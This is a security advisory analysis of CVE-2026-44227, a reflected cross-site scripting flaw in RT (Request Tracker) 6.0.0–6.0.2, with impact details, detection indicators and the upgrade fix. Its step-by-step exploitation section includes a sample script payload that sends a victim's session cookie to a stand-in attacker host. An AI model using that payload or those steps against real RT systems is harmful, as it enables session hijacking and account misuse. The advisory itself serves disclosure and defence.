CVE-2026-44227: 
Linux Debian vulnerability analysis and mitigation

CVE-2026-44227 is a reflected Cross-Site Scripting (XSS) vulnerability in Best Practical's RT (Request Tracker), an open-source enterprise-grade issue and ticket tracking system. It affects RT versions 6.0.0 through 6.0.2 (i.e., >= 6.0.0, < 6.0.3), and was disclosed on May 20, 2026, with the fix released the same day in version 6.0.3. The vulnerability allows an attacker to execute arbitrary JavaScript in an authenticated user's browser session by inducing them to visit a crafted URL. It carries a CVSS v3.1 base score of 6.1 (Medium) (GitHub Advisory, RT Release).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the reflected type. It arises from insufficient escaping or sanitization of URL parameters on RT 6.0 search pages, where attacker-controlled input is reflected directly into the HTML response without proper encoding. Exploitation requires no privileges on the attacker's part but does require user interaction — specifically, an authenticated RT user must be induced to click a crafted URL. The vulnerability is distinct from a related reflected XSS issue (CVE-2026-6841) affecting the search "Page" URL parameter, and targets additional URL parameters on search pages (GitHub Advisory, RT Release).

Successful exploitation allows an attacker to execute arbitrary JavaScript within the browser session of an authenticated RT user, potentially enabling session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, or further phishing attacks. The scope is marked as "Changed," meaning the impact extends beyond the vulnerable component itself to the user's browser environment. Confidentiality and integrity are both assessed as low impact, and availability is not affected (GitHub Advisory).

1. Reconnaissance: Identify publicly accessible or internally reachable RT 6.0.x instances (versions 6.0.0–6.0.2) using network scanning or web application fingerprinting tools.
2. Identify vulnerable parameter: Locate search page URL parameters in RT 6.0 that are reflected unsanitized into the HTML response (e.g., parameters on ticket search result pages).
3. Craft malicious URL: Construct a URL targeting the vulnerable RT search page with a reflected XSS payload embedded in the susceptible URL parameter (e.g., https://rt.example.com/Search/Results.html?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
4. Deliver to victim: Send the crafted URL to an authenticated RT user via email, chat, or another social engineering vector, inducing them to click the link while logged into RT.
5. Execute payload: When the victim visits the URL, the malicious JavaScript executes in their browser session, enabling session cookie theft, credential harvesting, or unauthorized RT actions on their behalf (GitHub Advisory).

• Network: Outbound HTTP requests from a victim's browser to an external attacker-controlled domain shortly after accessing an RT search URL; unusual referrer headers in web server logs pointing to crafted RT URLs.
• Logs: RT web server access logs showing requests to search endpoints (e.g., /Search/Results.html) with URL-encoded script tags or JavaScript payloads in query parameters; repeated access to the same crafted URL from different user sessions.
• Browser/Session: Unexpected session invalidation or new sessions created from unfamiliar IP addresses following a user clicking an external RT link.

The vendor has released RT version 6.0.3, which fixes CVE-2026-44227 along with several other security issues. Users should upgrade to RT 6.0.3 as soon as possible. There are no effective configuration-based workarounds; the only interim mitigation is to advise users to avoid clicking untrusted RT URLs. Note that RT 6.0.3 users should also apply an additional patch for CVE-2026-41073 (TSV export header injection), which was inadvertently omitted from the 6.0.3 release (GitHub Advisory, RT Release).

The advisory was published by Best Practical maintainer cbrandtbuffalo on GitHub on May 20, 2026, alongside fixes for eight other security vulnerabilities in RT 6.0. The RT 6.0.3 release notes explicitly recommend that all users upgrade as soon as possible due to the breadth of security issues addressed. No significant independent researcher commentary or broad media coverage has been identified for this specific CVE (GitHub Advisory, RT Release).